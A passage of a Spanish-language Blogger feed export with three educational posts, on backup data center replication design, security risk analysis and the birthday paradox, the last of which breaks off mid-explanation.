de centros de respaldo</title><content type="html">&lt;a style="" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_czXkQpCMagk/SLbATWF_T6I/AAAAAAAAAEc/HZExweUQsFQ/s1600-h/datacenter_lg.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 241px; height: 178px;" src="http://1.bp.blogspot.com/_czXkQpCMagk/SLbATWF_T6I/AAAAAAAAAEc/HZExweUQsFQ/s320/datacenter_lg.jpg" alt="" id="BLOGGER_PHOTO_ID_5239586655072898978" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Las Tecnologías de la Información ya son verdaderos puntales de la actividad de muchas organizaciones, por lo que una simple interrupción de sus servicios puede resultar fatal para su cuenta de resultados. Para evitarlo no hay otra solución que dotar de redundancia a los sistemas de la organización. Esta redundancia tiene distintos enfoques y niveles. El primer enfoque es el más utilizado e implica la redundancia de los sistemas individuales lo que incrementa la disponibilidad de los servicios y, en algunos casos, su potencia si se consigue la redundancia activo-activo mediante &lt;span style="font-style: italic;"&gt;clusters&lt;/span&gt; o &lt;span style="font-style: italic;"&gt;granjas de servidores&lt;/span&gt;. El segundo enfoque es el que se tratará a lo largo de este artículo e implica la redundancia de todo el &lt;a href="http://es.wikipedia.org/wiki/Centro_de_proceso_de_datos"&gt;CPD&lt;/a&gt; de la organización en otro emplazamiento, por lo que es menos común dado el elevado coste que supone, pero es el que más seguridad ofrece por lo que suele ser la opción elegida por instituciones gubernamentales y grandes corporaciones (que además suelen asumir simultáneamente el primer enfoque en el CPD principal).&lt;br /&gt;&lt;br /&gt;La distancia entre el CPD y su réplica es variable y se pueden encontrar CPDs compartiendo pared con su réplica, mientras que otros se situan en edificios distintos o a muchos kilómetros de distancia. Cuanto más lejos estén el CPD y su réplica mejor, así una catástrofe (fuegos, explosiones, accidentes, etc) o ataque localizado (por ejemplo bombas) sólo afectará a uno de los dos, mientras que el otro podrá seguir funcionando. Lógicamente a mayor distancia entre los CPDs mayor será el coste de mantenerlos ya que , entre otras cosas se disparará el coste de la actualización de la réplica. Igual que la redundancia de sistemas puede ser de dos tipos - activo-activo y activo-pasivo - la de CPDs puede ser de actualización &lt;span style="font-style: italic;"&gt;síncrona&lt;/span&gt; o &lt;span style="font-style: italic;"&gt;asíncrona&lt;/span&gt;. La actualización síncrona implica que la réplica recibe en tiempo real los cambios que experimentan los sistemas del CPD de manera que cuando se de una conmutación, el CPD caiga y la réplica se haga cargo del servicio, la réplica este plenamente actualizada. Por contra la actualización asíncrona no traspasa los datos a la réplica en tiempo real sino por lotes. Por ejemplo, una política de actualización asíncrona podría ser hacer un clonado de los sistemas del CPD cada noche e instalar dichas copias en la réplica. El problema de la actualización asíncrona es que en el momento de la conmutación la réplica no estará plenamente actualizada sino que sólo contará con los datos hasta el momento del último volcado. En el ejemplo que hemos puesto de política de actualización asíncrona el caso peor podría ser una caída irrecuperable del sistema principal a última hora de la tarde lo que supondría la entrada de la réplica con los datos de la noche anterior, es decir se perderían todos los datos generados durante la mañana y la tarde. Por eso la actualización síncrona es mucho más segura, pero claro, también mucho más cara ya que supone el despliegue de enlaces entre el CPD y su réplica con la suficiente capacidad para permitir el envío masivo de datos en tiempo real a los sistemas de la réplica. Si además el CPD y su réplica están separados por una gran distancia los costes de interconexión se disparan.&lt;br /&gt;&lt;br /&gt;En el caso de las actualizaciones asíncronas lo normal es que se tenga que transmitir una cantidad muy elevada de datos pero que se asuma un intervalo de tiempo más o menos largo para realizar la transmisión (por ejemplo, clonado a comienzo de la noche y transmisión de los datos a lo largo de la noche), por tanto se necesitan enlaces con un ancho de banda elevado pero no tanto como en el caso síncrono en el que el requisito de actualización en tiempo real exigen enlaces fiables de alta capacidad que no se conviertan en cuellos de botella. Una tecnología comúnmente usada para establecer estos enlaces se basa en fibra óptica y por ello recibe el nombre de &lt;a style="font-style: italic;" href="http://es.wikipedia.org/wiki/Fibre_Channel"&gt;Fiber Channel&lt;/a&gt;, también utilizadas para el despliegue de redes &lt;a href="http://es.wikipedia.org/wiki/Storage_Area_Network"&gt;&lt;span style="font-style: italic;"&gt;SAN&lt;/span&gt;&lt;/a&gt;, con las que se pueden obtener velocidades superiores a los 400 MBps (sí, bytes) en distancias por debajo de 2 Km. Para distancias más grandes la fibra puede ofrecer hasta 200 MBps por debajo de los 50 Km. Cuando la réplica se encuentra en el mismo edificio o en el mismo complejo de edificios que el CPD resulta muy fácil establecer un enlace de fibra entre ellos, pero cuando están más alejados entre sí no queda más remedio que acudir a las empresas de telecomunicaciones para alquilarles sus &lt;a href="http://es.wikipedia.org/wiki/Fibra_oscura"&gt;&lt;span style="font-style: italic;"&gt;fibras oscuras&lt;/span&gt;&lt;/a&gt;. Una alternativa más barata, pero también mucho más limitada en cuanto a distancias y velocidades, es &lt;a style="font-style: italic;" href="http://en.wikipedia.org/wiki/ISCSI"&gt;iSCSI&lt;/a&gt;, una versión TCP/IP del protocolo &lt;a style="font-style: italic;" href="http://es.wikipedia.org/wiki/SCSI"&gt;SCSI&lt;/a&gt;, que permite utilizar equipamiento de red ethernet, mucho más barato que el de fiber channel. La pega de iSCSI es que no permite las altas velocidades de fiber channel pero lo cierto es que la llegada de Gigabit Ethernet ha reducido las diferencias, sobre todo si en los troncales se recurre al agregado de enlaces (ethernet channel en la terminología Cisco y trunking según otros). Eso a nivel de datos de almacenamiento, en lo que se refiere al necesario tráfico de red para el acceso a los sistemas, lo más usual es colocar un conmutador multicapa en el centro de respaldo unido por enlaces redundados (cada uno de ellos debería seguir una ruta distinta o, en su caso, estar contratados a un operador distinto) al conmutador multicapa del centro principal, de manera que las &lt;a href="http://es.wikipedia.org/wiki/VLAN"&gt;VLAN&lt;/a&gt;s del CPD se extiendan a la réplica.&lt;br /&gt;&lt;br /&gt;Una vez que se ha afrontado el problema de la sincronización de los datos hay que estudiar otro muy importante: cómo hacer la conmutación de los servicios desde el CPD a la réplica. La verdad es que depende enormemente del tipo de servicios y sistemas que queramos replicar, aunque si estamos en un caso de actualización síncrona dadas las altas velocidades y la fiabilidad de las redes actuales resulta similar a la conmutación de equipos redundados dentro del mismo CPD ya que gracias a estos factores se pueden extender VLANs entre distintos edificios y localizaciones de manera transparente a los servidores. De esta manera no resulta complicado establecer clusters de equipos, cuyos nodos estén distribuidos a partes iguales entre los dos emplazamientos. Lo mismo se puede decir de las granjas de servidores. Este esquema (&lt;span style="font-style: italic;"&gt;activo-activo&lt;/span&gt;) permite que no se desaproveche la potencia de los nodos desplegados en el centro de respaldo ya que se les utiliza en las tareas diarias. En caso de caída de uno de los emplazamientos los nodos del otro continuarán con el trabajo que venían haciendo y asumirán el del centro caído. Otra ventaja de los diseños de respaldo activo-activo es que como las máquinas del centro de respaldo funcionan constantemente se puede detectar cuando se estropea una, mientras que en los diseños activo-pasivo como el centro de respaldo está "apagado" no es raro encontrarse con la desagradable sorpresa de que alguno de los sistemas falla a la hora de "arrancarlos".&lt;br /&gt;En el caso de diseños de actualización asíncrona la puesta en marcha puede ser más compleja y menos automática ya que los equipos del centro de respaldo son meras copias de los del centro activo por lo que se mantienen en estado pasivo y suelen requerir cierta puesta a punto antes de asumir el servicio.&lt;br /&gt;&lt;br /&gt;Eso de cara a los servicios internos, de cara a los externos a veces hay que avisar al resto del mundo de que las máquinas que ofrecen los servicios pasan a ser las del centro de respaldo, lo que impica cambiar los registros de los DNS externos. En ese sentido existen empresas que ofrecen servicios de monitorización de sistemas mediante los cuales comprueban periodicamente que dichos servicios siguen en pie y, en caso contrario, cambian los registros DNS para que apunten a las máquinas de la réplica. De todos modos, hay que tener en cuenta que en este caso las actualizaciones en el DNS pueden tardar horas en extenderse por lo que la perdida de servicio a los clientes externos puede prolongarse.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-3619030549953187516?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/VEidSCBc5491Ay5zcvfBPmXpvIU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/VEidSCBc5491Ay5zcvfBPmXpvIU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/VEidSCBc5491Ay5zcvfBPmXpvIU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/VEidSCBc5491Ay5zcvfBPmXpvIU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/6wjR0UXfjAs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/3619030549953187516/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=3619030549953187516" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/3619030549953187516?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/3619030549953187516?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/6wjR0UXfjAs/diseo-de-centros-de-respaldo.html" title="Diseño de centros de respaldo" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_czXkQpCMagk/SLbATWF_T6I/AAAAAAAAAEc/HZExweUQsFQ/s72-c/datacenter_lg.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2008/08/diseo-de-centros-de-respaldo.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D08HSXk6eyp7ImA9WxdaGEU.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-1428333458458850887</id><published>2008-08-26T10:52:00.014+02:00</published><updated>2008-08-28T03:10:38.713+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-28T03:10:38.713+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Ingeniería de Seguridad" /><title>Análisis de riesgos</title><content type="html">&lt;a style="" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_czXkQpCMagk/SLQ6Qm8gFAI/AAAAAAAAAEU/ySy3aUFR_G0/s1600-h/chess-rook-white-risk.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 221px; height: 221px;" src="http://1.bp.blogspot.com/_czXkQpCMagk/SLQ6Qm8gFAI/AAAAAAAAAEU/ySy3aUFR_G0/s320/chess-rook-white-risk.jpg" alt="" id="BLOGGER_PHOTO_ID_5238876323545355266" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;La labor de un ingeniero de seguridad consiste en garantizar la confidencialidad, integridad y disponibilidad de los activos de su organización de una manera eficaz, eficiente y económica. Suena mucho más fácil de lo que realmente es porque lo cierto es que no es raro encontrarse profesionales que aplican soluciones de seguridad inadecuadas ya sea porque no han entendido correctamente la naturaleza de las amenazas o porque son excesivamente caras en comparación con el valor de los activos a proteger. Por tanto resulta imprescindible para un ingeniero de seguridad realizar un pormenorizado análisis de riesgos de su organización con el fin tener bien claro:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Qué es lo que debe proteger (&lt;span style="font-weight: bold;"&gt;Activos&lt;/span&gt;).&lt;/li&gt;&lt;li&gt;Qué supone un peligro para lo que debe proteger (&lt;span style="font-weight: bold;"&gt;Amenazas&lt;/span&gt;).&lt;/li&gt;&lt;li&gt;Cual es la probabilidad de que esos peligros se materialicen (&lt;span style="font-weight: bold;"&gt;Riesgo&lt;/span&gt;).&lt;/li&gt;&lt;li&gt;Cual es el grado de incertidumbre que la organización está dispuesta a asumir (&lt;span style="font-weight: bold;"&gt;Riesgo residual&lt;/span&gt;)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Cual sería el coste para la organización si esos peligros se materializasen y afectasen a lo que debemos proteger (&lt;span style="font-weight: bold;"&gt;Impacto&lt;/span&gt;).&lt;/li&gt;&lt;/ul&gt;Con todos los puntos anteriores bien claros, resulta de sentido común efectuar lo que se denomina una &lt;span style="font-style: italic;"&gt;comparación coste/beneficio&lt;/span&gt; o lo que es lo mismo: una comparación entre el impacto que tendría para la organización que se materializase el riesgo de una amenaza sobre un activo en particular y el coste que supondría desplegar la tecnología y los procedimientos necesarios para anular estos riesgos (&lt;span style="font-weight: bold;"&gt;salvaguardas&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;Como se puede ver no resulta una tarea sencilla. Un análisis de riesgos supone un análisis minucioso de la organización -para determinar los activos-, una comprensión plena de la naturaleza de su negocio -para ponderar cada uno de los activos-, un conocimiento exhaustivo y actualizado del campo de la seguridad -para localizar las amenazas y su riesgo de ocurrencia- y por último el apoyo completo y realista de todos los departamentos de la organización -para obtener unas estimaciones de impacto correctas- a través del imprescindible respaldo de la dirección de la organización.&lt;br /&gt;&lt;br /&gt;Intuitivamente los &lt;span style="font-weight: bold;"&gt;activos&lt;/span&gt; son todo aquello que pertenezca a la organización y su valor será directamente proporcional a la dependencia de los beneficios de la organización respecto a ese activo. Por ejemplo, el mobiliario es un activo de una empresa de telecomunicaciones al igual que los equipos de su CPD y por tanto deben ser protegidos por sistemas de seguridad perimétrica, pero dado que los beneficios de esta empresa no dependen de su mobiliario resulta lógico pensar que el valor como activo del mobiliario es menor que el valor como activo del CPD. No pasa lo mismo con un restaurante, para el que el mobiliario resulta infinitamente más valioso que su página web. Además, la valoración de activos no sólo sirve para priorizar su protección sino también para poner un tope a la inversión realizada en su defensa ¿qué sentido tiene instalar en nuestro hogar una caja fuerte de 12.000 euros si en nuestro caso particular no tenemos nada valioso y nunca juntamos en casa más de 200 euros de efectivo?. Este tipo de valoración intuitiva se denominaría &lt;span style="font-style: italic;"&gt;cualitativa&lt;/span&gt; y es muy útil a la hora de hacer una primera estimación. Sin embargo, a la hora de sistematizar el proceso de análisis de riesgos y utilizar herramientas automatizadas especializadas en dicha labor, resulta imprescindible asignar a cada activo un valor numérico. Aquí el asunto se complica ya que el ingeniero deberá decidir qué utiliza para asignar dicho valor. Podría optar, por ejemplo, por cualquiera de los siguientes indicadores:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Coste para adquirir o desarrollar el activo.&lt;/li&gt;&lt;li&gt;Coste de mantenimiento del activo.&lt;/li&gt;&lt;li&gt;Valor del activo para los usuarios.&lt;/li&gt;&lt;li&gt;Valor de la propiedad intelectual utilizada para desarrollar el activo.&lt;/li&gt;&lt;li&gt;Valor que le daría la competencia al activo.&lt;/li&gt;&lt;li&gt;Responsabilidad legal que se daría en caso de pérdida o daño del activo.&lt;/li&gt;&lt;li&gt;Utilidad del activo para la organización.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Identificar las &lt;span style="font-weight: bold;"&gt;amenazas&lt;/span&gt; y, sobre todo, sus riesgos de ocurrencia resulta aún más complicado. Las amenazas no siempre estarán claras ya que pueden no ser intencionadas y pueden encontrarse tanto fuera como dentro de la organización. Además estas amenazas, en caso de que se materialicen, pueden dar lugar a otras amenazas en un efecto cascada difícil de evaluar y controlar. Por ejemplo, un empleado mal entrenado puede ser un peligro para la integridad de nuestro sistema, lo que le convierte en una amenaza, pero además puede dejar a su paso configuraciones deficientes que abran agujeros en la seguridad útiles para atacantes remotos. Una herramienta muy útil a la hora de estimar riesgos son los registros de incidencias que nos permitirán conocer el historial de incidentes de la organización y su frecuencia.&lt;br /&gt;&lt;br /&gt;En cuanto a la estimación de impactos hay que tener cierta perspectiva ya que el daño sufrido por la organización, en caso de que algunos de sus activos se vea afectado, puede no sólo ser inmediato sino también &lt;span style="font-style: italic;"&gt;diferido&lt;/span&gt;. Es evidente que un servicio de banca on-line que sufra un incidente de seguridad sufrirá un impacto inmediato en función del incidente pero también otro diferido relativo a la merma de confianza de sus potenciales clientes acerca del servicio.&lt;br /&gt;&lt;br /&gt;Como ya hemos dicho, a la hora de combinar elementos tan complejos de una manera sistemática se hace necesario el uso de técnicas de análisis cuantitativo mediante la ponderación de los diversos factores implicados y su interrelación mediante ecuaciones que determinen los riesgos totales y residuales. Poner valor a todos los elementos anteriores es una tarea compleja, pesada y al final resulta imposible hacerlo de una manera 100% objetiva... pero es lo que hay y gracias a este tipo de técnicas se pueden usar &lt;span style="font-weight: bold;"&gt;herramientas automatizadas&lt;/span&gt; como &lt;a href="http://www.ar-tools.com/"&gt;PILAR&lt;/a&gt; que, una vez configuradas con el modelo de nuestra organización, nos permitirán realizar cálculos rápidamente, estimar impactos de manera precisa y determinar la efectividad de diversas tecnologías de salvaguarda.&lt;br /&gt;&lt;br /&gt;Al final de todo el proceso se llega a un &lt;span style="font-weight: bold;"&gt;diseño&lt;/span&gt; para nuestra organización que nos permitirá minimizar los riesgos, aunque nunca podremos anularlos por completo, siempre habrá un cierto grado de riesgo que nuestra organización deberá asumir bien como inevitable o bien como demasiado costoso de eliminar. En el primer caso, el riesgo inevitable, se puede reducir el impacto &lt;span style="font-style: italic;"&gt;transfiriendo el riesgo&lt;/span&gt;, por ejemplo mediante seguros. Con el segundo caso no queda sino vivir con él y cruzar los dedos para que nunca ocurra, recibiendo el nombre de riesgo residual . Por ejemplo, Los antiguos diseñadores de fortalezas procuraban construirlas con murallas bien altas pero siempre debían asumir el riesgo residual de que los sitiador construyesen máquinas de asalto aún más altas; para reducir este riesgo los que tenían la posibilidad construían castillos encima de picos escarpados pero ni siquiera eso conseguía anular del todo el riesgo... como descubrieron los desafortunados defensores de &lt;a href="http://es.wikipedia.org/wiki/Masada"&gt;Masada&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;El informe resultante de nuestro análisis de riesgos deberá contener, como mínimo:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;El valor asignado a cada uno de los activos de manera que se pueda priorizar entre unos y otros.&lt;/li&gt;&lt;li&gt;Una lista completa de todas las amenazas significativas.&lt;/li&gt;&lt;li&gt;Probabilidad de ocurrencia de cada una de las amenazas.&lt;/li&gt;&lt;li&gt;Impacto estimado de cada una de las amenazas a lo largo de un periodo mínimo de 12 meses.&lt;/li&gt;&lt;li&gt;Un diseño que comprenda las salvaguardas, reformas y contramedidas recomendadas.&lt;/li&gt;&lt;/ul&gt;Por supuesto, este informe debe ser presentado a la dirección de la organización que será la responsable de evaluar las medidas recomendadas y aplicarlas si así lo considera oportuno. Precisamente porque la dirección de la organización carece, por lo general, de una formación técnica profunda, lo más recomendable es entregar un &lt;span style="font-weight: bold;"&gt;resumen ejecutivo&lt;/span&gt; comprensible por personal no técnico y recoger los cálculos y la base técnica en los correspondientes anexos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-1428333458458850887?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/4L05FY19QQexuKXU-RMUFsk5UUY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/4L05FY19QQexuKXU-RMUFsk5UUY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/4L05FY19QQexuKXU-RMUFsk5UUY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/4L05FY19QQexuKXU-RMUFsk5UUY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/Y3azdcdo9rs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/1428333458458850887/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=1428333458458850887" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/1428333458458850887?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/1428333458458850887?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/Y3azdcdo9rs/anlisis-de-riesgos.html" title="Análisis de riesgos" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_czXkQpCMagk/SLQ6Qm8gFAI/AAAAAAAAAEU/ySy3aUFR_G0/s72-c/chess-rook-white-risk.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2008/08/anlisis-de-riesgos.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkECSXk8cCp7ImA9WxdaE04.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-240818289820853756</id><published>2008-08-21T14:09:00.018+02:00</published><updated>2008-08-21T19:11:08.778+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-21T19:11:08.778+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="criptografía" /><title>La paradoja del cumpleaños</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_czXkQpCMagk/SK2Kqcny0TI/AAAAAAAAADs/X9rJJVhkaig/s1600-h/birthday-muffin.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 240px; height: 235px;" src="http://3.bp.blogspot.com/_czXkQpCMagk/SK2Kqcny0TI/AAAAAAAAADs/X9rJJVhkaig/s320/birthday-muffin.jpg" alt="" id="BLOGGER_PHOTO_ID_5236994403543994674" border="0" /&gt;&lt;/a&gt;Según la teoría matemática, si juntamos a 23 personas en una habitación existe en torno a un 50% de posibilidades de que 2 de ellas tengan el mismo cumpleaños. Si en vez de 23 juntamos 75 la probabilidad sube al 99.9%.  ¡Ojo!, no se trata de que alguien tenga el mismo cumpleaños que nosotros (en ese caso impondríamos como condición una fecha concreta lo que supone una restricción más fuerte) sino que dos personas &lt;span style="font-style: italic;"&gt;cualesquiera&lt;/span&gt; coincidan en su cumpleaños (puede resultar ser cualquier fecha).&lt;br /&gt;&lt;br /&gt;Las matemáticas que se encuentran detrás de esto pueden resultar complejas si no se ha estudiado nada de probabilidad, pero vamos a intentar explicarlas. Para empezar debemos tener claro cuantos posibles emparejamientos se pueden dar en una sala de &lt;span style="font-style: italic;"&gt;n&lt;/span&gt; personas:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_czXkQpCMagk/SK10AFOFSwI/AAAAAAAAACc/o_Y494WDv3I/s1600-h/numero_parejas.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_czXkQpCMagk/SK10AFOFSwI/AAAAAAAAACc/o_Y494WDv3I/s320/numero_parejas.png" alt="" id="BLOGGER_PHOTO_ID_5236969486451821314" border="0" /&gt;&lt;/a&gt;Por ejemplo, en una sala con 23 personas hay 253 parejas posibles.&lt;br /&gt;La probabilidad de que una única pareja tenga el mismo cumpleaños es:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_czXkQpCMagk/SK15BLAD2TI/AAAAAAAAACk/rP6G-f8UrSU/s1600-h/probabilidad_unica_coincidencia.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_czXkQpCMagk/SK15BLAD2TI/AAAAAAAAACk/rP6G-f8UrSU/s320/probabilidad_unica_coincidencia.png" alt="" id="BLOGGER_PHOTO_ID_5236975002741627186" border="0" /&gt;&lt;/a&gt;Su complementario es la probabilidad de que una única pareja NO tenga el mismo cumpleaños:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_czXkQpCMagk/SK2CBD0q5MI/AAAAAAAAAC0/5PXwnW3cLtQ/s1600-h/probabilidad_unica_coincidencia_complementaria.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_czXkQpCMagk/SK2CBD0q5MI/AAAAAAAAAC0/5PXwnW3cLtQ/s320/probabilidad_unica_coincidencia_complementaria.png" alt="" id="BLOGGER_PHOTO_ID_5236984896419456194" border="0" /&gt;&lt;/a&gt;La probabilidad de que NO exista ninguna pareja con un cumpleaños coincidente es:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_czXkQpCMagk/SK2DeOTn-AI/AAAAAAAAAC8/H3-e9ZYIpSg/s1600-h/probabilidad_multiple_coincidencia_complementaria.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_czXkQpCMagk/SK2DeOTn-AI/AAAAAAAAAC8/H3-e9ZYIpSg/s320/probabilidad_multiple_coincidencia_complementaria.png" alt="" id="BLOGGER_PHOTO_ID_5236986496961476610" border="0" /&gt;&lt;/a&gt;Dado que la base es inferior a 1 esta probabilidad decrecerá conforme aumente el número de personas de la muestra, o dicho de otra manera: cuanta más gente haya más difícil será que no se de una coincidencia con los cumpleaños. Dicho lo cual, la probabilidad (&lt;span style="font-style: italic;"&gt;P&lt;/span&gt;) de que SÍ se de una coincidencia es la complementaria a la anterior, es decir:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_czXkQpCMagk/SK2GOpStQoI/AAAAAAAAADU/DHAc9bJw0Rk/s1600-h/probabilidad_multiple_coincidencia.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_czXkQpCMagk/SK2GOpStQoI/AAAAAAAAADU/DHAc9bJw0Rk/s320/probabilidad_multiple_coincidencia.png" alt="" id="BLOGGER_PHOTO_ID_5236989527862362754" border="0" /&gt;&lt;/a&gt;Si le damos a &lt;span style="font-style: italic;"&gt;P&lt;/span&gt; el valor 0.5 (límite a partir del cual las probabilidades de encontrar una coincidencia se ponen de nuestro lado) y despejamos la &lt;span style="font-style: italic;"&gt;n&lt;/span&gt;, obtenemos precisamente 23.&lt;br /&gt;&lt;br /&gt;Hasta ahí la teoría, sin embargo hay que advertir (a los que pretendan lucirse en una fiesta) de que la práctica difiere bastante ya que las fechas de nuestros nacimientos hace ya un tiempo que dejaron de ser equiprobables porque los médicos programan los partos cada vez con más frecuencia ¡y no los programan para los fines de semana, lo que rompe la equiprobabilidad!.&lt;br /&gt;&lt;br /&gt;Pero el interés del resultado que hemos obtenido no se limita a la anécdota en una reunión sino que si generalizamos la fórmula veremos que tiene interesantes aplicaciones en el campo de la seguridad informática, entre otros. Así, si denominamos &lt;span style="font-style: italic;"&gt;p&lt;/span&gt; a la probabilidad de que a una única pareja le pase algo y &lt;span style="font-style: italic;"&gt;p&lt;/span&gt; &lt;span style="font-style: italic;"&gt;(añádase una barra superior)&lt;/span&gt; a su complementaria, es decir a la probabilidad de que a esa pareja no le ocurra lo que estamos evaluando, tenemos entonces que la fórmula anterior generalizada es:&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_czXkQpCMagk/SK2OXMupcnI/AAAAAAAAAD0/bE3xjD7MUc0/s1600-h/probabilidad_multiple_coincidencia_general.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_czXkQpCMagk/SK2OXMupcnI/AAAAAAAAAD0/bE3xjD7MUc0/s320/probabilidad_multiple_coincidencia_general.png" alt="" id="BLOGGER_PHOTO_ID_5236998470906770034" border="0" /&gt;&lt;/a&gt;De esta manera &lt;span style="font-style: italic;"&gt;P&lt;/span&gt; es la probabilidad de que se de un suceso cuando el número de elementos de la base de muestra es &lt;span style="font-style: italic;"&gt;n&lt;/span&gt;. Si despejamos la &lt;span style="font-style: italic;"&gt;n&lt;/span&gt; la fórmula queda de la siguiente manera:&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_czXkQpCMagk/SK2VqeYpxeI/AAAAAAAAAD8/vZzFspY8RMg/s1600-h/n_despejada.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_czXkQpCMagk/SK2VqeYpxeI/AAAAAAAAAD8/vZzFspY8RMg/s320/n_despejada.png" alt="" id="BLOGGER_PHOTO_ID_5237006498645263842" border="0" /&gt;&lt;/a&gt;Para el ejemplo del cumpleaños querríamos hallar el número &lt;span style="font-style: italic;"&gt;n&lt;/span&gt; de personas a partir de las cuales &lt;span style="font-style: italic;"&gt;P&lt;/span&gt;&gt;0.5. Para ello sustituiríamos &lt;span style="font-style: italic;"&gt;P&lt;/span&gt; por 0.5, y &lt;span style="font-style: italic;"&gt;p 